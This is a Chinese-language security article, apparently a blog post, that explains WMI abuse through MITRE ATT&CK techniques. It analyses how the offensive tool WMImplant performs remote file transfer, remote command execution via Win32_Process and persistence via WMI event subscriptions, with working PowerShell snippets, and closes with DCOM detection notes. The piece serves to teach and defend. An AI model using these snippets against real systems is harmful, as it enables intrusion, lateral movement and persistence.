0x00 前言
Windows Management Instrumentation(Windows 管理规范) 即WMI,是微软实现的基于Web的企业管理(WBEM)。WMI使用通用信息模型(CIM)来表示系统、应用程序、网络、设备和其他托管组件。WMI支持本地和远程访问。WMI底层基于分布式组件对象模型(DCOM)或者Windows远程管理(WinRM)。程序员们可以使用脚本语言(例如powershell),或者C++,通过COM技术与WMI进行交互。本文行文仓促,如有错误,请各位积极指正。
0x01 WMI滥用情况
由于WMI的特殊性,WMI可以被广泛的滥用于MITER ATT&CK矩阵中,包括执行,持久化,防御逃避,侦查,横向移动,命令控制。
在[执行]战术中,ATT&CK专门安排了一个技术点专门介绍Windows行为规范T1047。WMI可以通过命令和脚本解释器powershell(T1059.001)进行交互,并且其通信是基于对象组件模型(T1559.001)。并且可以通过Win32_ScheduledJob类创建计划任务(T1053),但这已经不能在Win7以上系统中使用了。
Get-WmiObject -class Win32_ScheduledJob
在[持久化]战术中,可以通过WMI事件订阅(T1546.003)安装筛选器和事件消费者实现持久化。WMI具有远程连接的能力,即外部远程服务(T1133)。并且可以通过注册表在Run键下面创建启动项(T1547.001)
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
Invoke-WmiMethod -ComputerName $ComputerName -Credential $Credential -Class StdRegProv -Name CreateKey
在[防御逃避]中,可以利用WMI通过修改注册表(T1112)的方式禁用或修改工具(T1562.001),也可以通过Win32_Process类间接创建进程,通过WMI创建的进行其父进程应该为WMI提供者进程(T1202)。
Invoke-WmiMethod -Class Win32_Process -EnableAllPrivileges -Impersonation 3 -Authentication Packetprivacy -Name Create
在[侦查]中,可以获取系统各方面的信息,可以利用Win32_UserAccount,Win32_LoggedOnUser获取账户信息(T1087)。使用Win32_Directory类获取文件信息(T1083)。使用Win32_Process类获取进程信息(T1057),使用Win32_OperatingSystem,Win32_SystemResourcesetc类进行系统信息侦查(T1082)等等
Get-WmiObject -class Win32_UserAccount
Get-WmiObject -class Win32_Process
Get-WmiObject -class Win32_Service
WMI主要通过Win_Process进行远程命令执行。
0x02 WMI的工作原理
根据windows在WMI 架构知识文档中所述,WMI架构主要包括3个部分,WMI消费者,WMI基础架构,WMI提供者和托管对象。
WMI提供者(WMI Provider)是一个COM对象,负责管理和监视托管对象,向托管对象处发起请求,并其中获取数据,并将数据提供给WMI基础架构。所以称之为提供者(Provider)。托管对象是一个逻辑或者物理的组件,例如进程,操作系统,服务。
WMI基础架构(WMI infrastructure)是一个Windows系统组件,称为WMI服务(winmgnt),WMI基础结构有两个组件:CIM对象管理器和WMI存储库。WMI存储库存储着一些静态数据。
WMI消费者是和WMI基础架构进行交互的管理程序或者脚本。WMI消费者通过相关的COM API或者脚本API与WMI基础架构进行交互,用来查询,枚举数据,运行管理程序方法或订阅事件。
简单概括WMI工作原理就是WMI消费者通过统一的API接口与WMI基础架构进行交互,由WMI基础架构充当WMI消费者,和WMI提供者,WMI存储库之间的中介。如果需要获取的是静态数据,则直接从存储库获取,如果是动态数据,则可以通过WMI提供者获取数据。
WMI既可以执行本地操作,也可以执行远程操作,这也是攻击者喜欢使用WMI的原因之一,WMI主要支持两种协议,DCOM和WinRM。最开始DCOM协议是WMI使用的默认协议,DCOM又称分布式组件对象模型,其通过135端口建立连接。而后续的WMI中,微软推荐使用WinRM协议进行通信。本次,本文主要通过powershell描述WMI攻击方式。所以重点也将关注DCOM协议。因为powershell内置的WMI命令是使用DCOM协议。
0x03 WMI攻击
Windows提供了多种和WMI进行交互的方式,例如通过powershell或者VBScript等脚本语言进行交互,比如利用c++通过COM API进行交互,利用C#,通过System.Management命名空间下的几个类和WMI进行交互,除此以外,还有几款成熟的工具用来和WMI进行交互,例如wmic.exe。
本文将以WMImplant为例,介绍WMI攻击的原理。WMImplant是一个基于PowerShell的工具,它利用WMI来对目标机器执行操作,而且还作为C2通道来发出命令和接收结果。WMImplant的主要功能有文件操作,横向移动,进程操作,系统操作,以及日志操作。
PowerShell有很多和WMI交互的函数,WMImplant使用的函数主要有如下几个函数。当然,WMImplant使用这些WMI函数,并没有使用CIM函数,因为函数命令是基于低版本的Powershell,而CIM函数只能用于V3以上的版本,但是CIM函数能支持DCOM协议和WinRM协议,而WMI函数只支持DCOM协议。
Get-WmiObject
Set-WmiInstance
Invoke-WmiMethod
WMImplant用法很简单,只需要知道目标及其的ComputerName,以及管理员Credential。使用Import-Module .\WMImplant.ps1
和Invoke-WMImplant
两条命令启动WMImplant。
然后使用change_user
命令设置domain/user和password。
WMImplant的文件操作主要有一下操作,其中,经常使用的有cat
命令,download
命令,ls
命令,upload
命令。
cat - Reads the contents of a file
copy - Copies a file from one location to another
download - Download a file from the targeted machine
ls - File/Directory listing of a specific directory
search - Search for a file on a user-specified drive
upload - Upload a file to the targeted machine
ls命令的主要作用是列举指定目录下的目录和文件,依次指定指定的ComputerName和目录。其基本原理是从Win32_Directory类中获取目录的信息。
$filter = "Drive='$Drive' and Path='$DirPath'"
$a= Get-WmiObject -Class Win32_Directory -Filter $filter
而cat命令的作用是读取文件内容,但是WMI本身是不具有回显的功能,通常有两种情况解决WMI回显的问题,第一种是将回显结果写入文件,然后通过SMB读取文件,但是因为使用了SMB协议,所以会额外多添加一个445端口。第二种方法是将回显结果写入注册表,然后通过WMI相关注册表操作函数读取注册表的内容,从而实现回显。
WMImplant也是通过远程创建进程将结果写入注册表的方式实现回显,具体操作如下,首先利用StdRegProv类的CreateKey方法创建一个注册表项。
$reg_create = Invoke-WmiMethod -ComputerName $ComputerName -Credential $Credential -Class StdRegProv -Name CreateKey -ArgumentList $HKCU, $Item
然后构造一个远程命令,其主要目的是利用Get-Content
函数读取文件内容,然后将其编码,之后利用Set-ItemProperty
函数将其写入注册表中。
$remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [Int[]][Char[]]$fct -Join '',''; Set-ItemProperty -Path HKCU:\SOFTWARE\EvilKey -Name Result -Value $fctenc;'
接着调用Invoke-WMIObfuscatedPSCommand
函数执行上述远程命令。Invoke-WMIObfuscatedPSCommand函数主要是基于利用Win32_Proces类的Create方法创建进程从而执行远程命令。
最后便是利用StdRegProv
类的GetStringValue
读取键的值。
$regvalue = Invoke-WmiMethod -ComputerName $ComputerName -Credential $Credential -class StdRegProv -Name GetStringValue -ArgumentList $HKCU, $KeyPath, $ResultKey
download
命令和upload
命令的原理是一样的,都是借助注册表保存文件的内容。然后利用Set-Content函数将保存在注册表的内容写入文件。只是download命令
是在本地执行Set-Content函数。而upload
命令是在远程机器执行Set-Content函数。
//upload远程执行Set-Content函数
$remote_command = '$Hive = 2147483650; $key = ''' + "$regpath'" + '; $value = ''' + "$registryupname" + '''; $out = Invoke-WmiMethod -Namespace ''root\default'' -Class ''StdRegProv'' -Name ''GetStringValue'' -ArgumentList $Hive, $key, $value; $decode = [byte[]][int[]]$out.sValue.Split('','') -Join '' ''; [byte[]] $decoded = $decode -split '' ''; Set-Content -Encoding byte -Path ' + "$Upload_Dir" + ' -Value $decoded; Remove-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registryupname'"
//download本地执行Set-Content函数
Set-Content -Encoding byte -Path $Download_file_path -Value $decoded
根据WMImplant的介绍,横向移动有如下命令,其中经常使用的是command_exec。
command_exec - Run a command line command and receive the output
disable_wdigest - Removes registry value UseLogonCredential
disable_winrm - Disables WinRM on the targeted system
enable_wdigest - Adds registry value UseLogonCredential
enable_winrm - Enables WinRM on the targeted system
registry_mod - Modify the registry on the targeted machine
remote_posh - Run a PowerShell script on a remote machine and receive the output
sched_job - Manipulate scheduled jobs
service_mod - Create, delete, or modify system services
Invoke-WMIObfuscatedPSCommand
函数简单的介绍过,其底层就是使用Win32_Process类的Create方法实现的。剩下就是构造一个远程命令,这个命令主要就是利用 Invoke-Command的-sc
参数。-sc
参数可以添加一个代码块。这样就可以执行Powershell代码块。
$remote_command = "powershell `$command1 = {$ExecCommand}; `$command2 = Invoke-Command -sc `$command1 | Out-String; Set-ItemProperty -Path HKCU:\SOFTWARE\EvilKey -Name Result -Value `$command2"
除此以外,powershell自带-Command参数,也可以添加代码块,还可以进行加密。
$remote_command = "powershell.exe powershell -Command {$command}"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$process = Invoke-WmiMethod -Credential $Credential -ComputerName $ComputerName -Class Win32_Process -EnableAllPrivileges -Impersonation 3 -Authentication Packetprivacy -Name Create -Argumentlist $remote_command
假如需要利用powershell在远程机器创建一个文件,需要使用到如下代码块。使用WMImplant远程执行,效果如下。
$filepath ='C:\BaiduNetdiskDownload\123.txt';
New-Item $filepath -type file"
当然,也许,你不需要执行一个代码块,仅仅需要执行一个whoami命令
。command_exec命令也是可以胜任的。
0x04 WMI事件订阅机制
WMI事件分为两类,本地事件订阅和永久性事件订阅。
本地事件订阅的生命周期是进程生命周期,而永久性事件订阅可以在任何事件接收WMI事件,其保存在WMI存储库中,永久性事件订阅使用一组永久的过滤器捕获WMI事件,即事件筛选器(Event Filter),一个永久的事件消费者(Event Constumer),以及两者之间的绑定关系。
事件筛选器是一个__EventFilter类,用于描述WMI将哪些事件传递给事件消费者,即通过WQL语句筛选出触发事件消费者的条件。事件过滤器可以指定内部或外部事件;并且过滤器可以引用源自命名空间的事件。事件筛选器包括四个参数EventNamespace(事件命名空间),Name(筛选器名称),Query(筛选过滤语句),QueryLanguage(语句类型)
EventNamespace = 'root/cimv2'
Name = $FilterName
Query = $Query
QueryLanguage = 'WQL'
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $EventFilterArgs
事件消费者,即事件被触发之后,需要选择执行的行为,主要包含以下事件消费者,分别可以对应事件执行不同的操作,分别是运行脚本,发送电子邮件,写入日志,记录NT事件日志,命令行运行程序。
- ActiveScriptEventConsumer(脚本事件消费者)
- LogFileEventConsumer(日志文件事件消费者)
- NTEventLogEventConsumer(NT事件日志事件消费者)
- SMTPEventConsumer(邮件事件消费者)
- CommandLineEventConsumer(命令行事件消费者)
其中,永久性事件订阅中,经常使用ActiveScriptEventConsumer和 CommandLineEventConsumer两类事件消费者。本文中使用的是CommandLineEventConsumer。命令行事件消费者主要有以下四个参数,Name(事件消费者名),ExecutablePath(执行路径),CommandLineTemplate(命令行),RunInteractively(交互式运行)
Name = $ConsumerName
ExecutablePath = $ExecutablePath
CommandLineTemplate = $CommandLineTemplate
RunInteractively="false"
Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments $ConsumerArgs
使用__FilterToConsumerBinding
建立筛选器和事件消费者的绑定关系。
$FilterToConsumerBinding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
0x05 WMI的检测
我们介绍过WMI现行支持两套技术,分别为DCOM协议和WinRM。DCOM协议简单的话是基于RPC协议,但是又不是完全独立于RPC协议的。他使用了RPC协议的结构体,与RPC共用了数据头和数据体。所以DCOM协议常被称为ORPC。RPC是一种编程模型,主要用于应用程序实现远程过程调用,微软的DCEPRC即是对远程过程调用的一种实现和扩展。
OPC通信采用Client/Server的通信结构。如下图所示是OPC通信的流程图。首先OPC客户端先通过TCP向OPC服务端发起TCP请求,在建立连接之后,建立绑定。接着通过IRemoteActivation接口的RemoteCreateInstance方法进行DCOM激活。
通过查看数据报文,发现DCOM激活存在一下6中激活属性,其中SecurityInfoData包含着连接的计算机名,InstantiationInfoData中属性中包含了实例化对象的CLSID。
-
SpecialPropertiesData
-
InstantiationInfoData
-
ActivationContextInfoData
-
SecurityInfoData
-
LocationInfoData
-
ScmRequestInfoData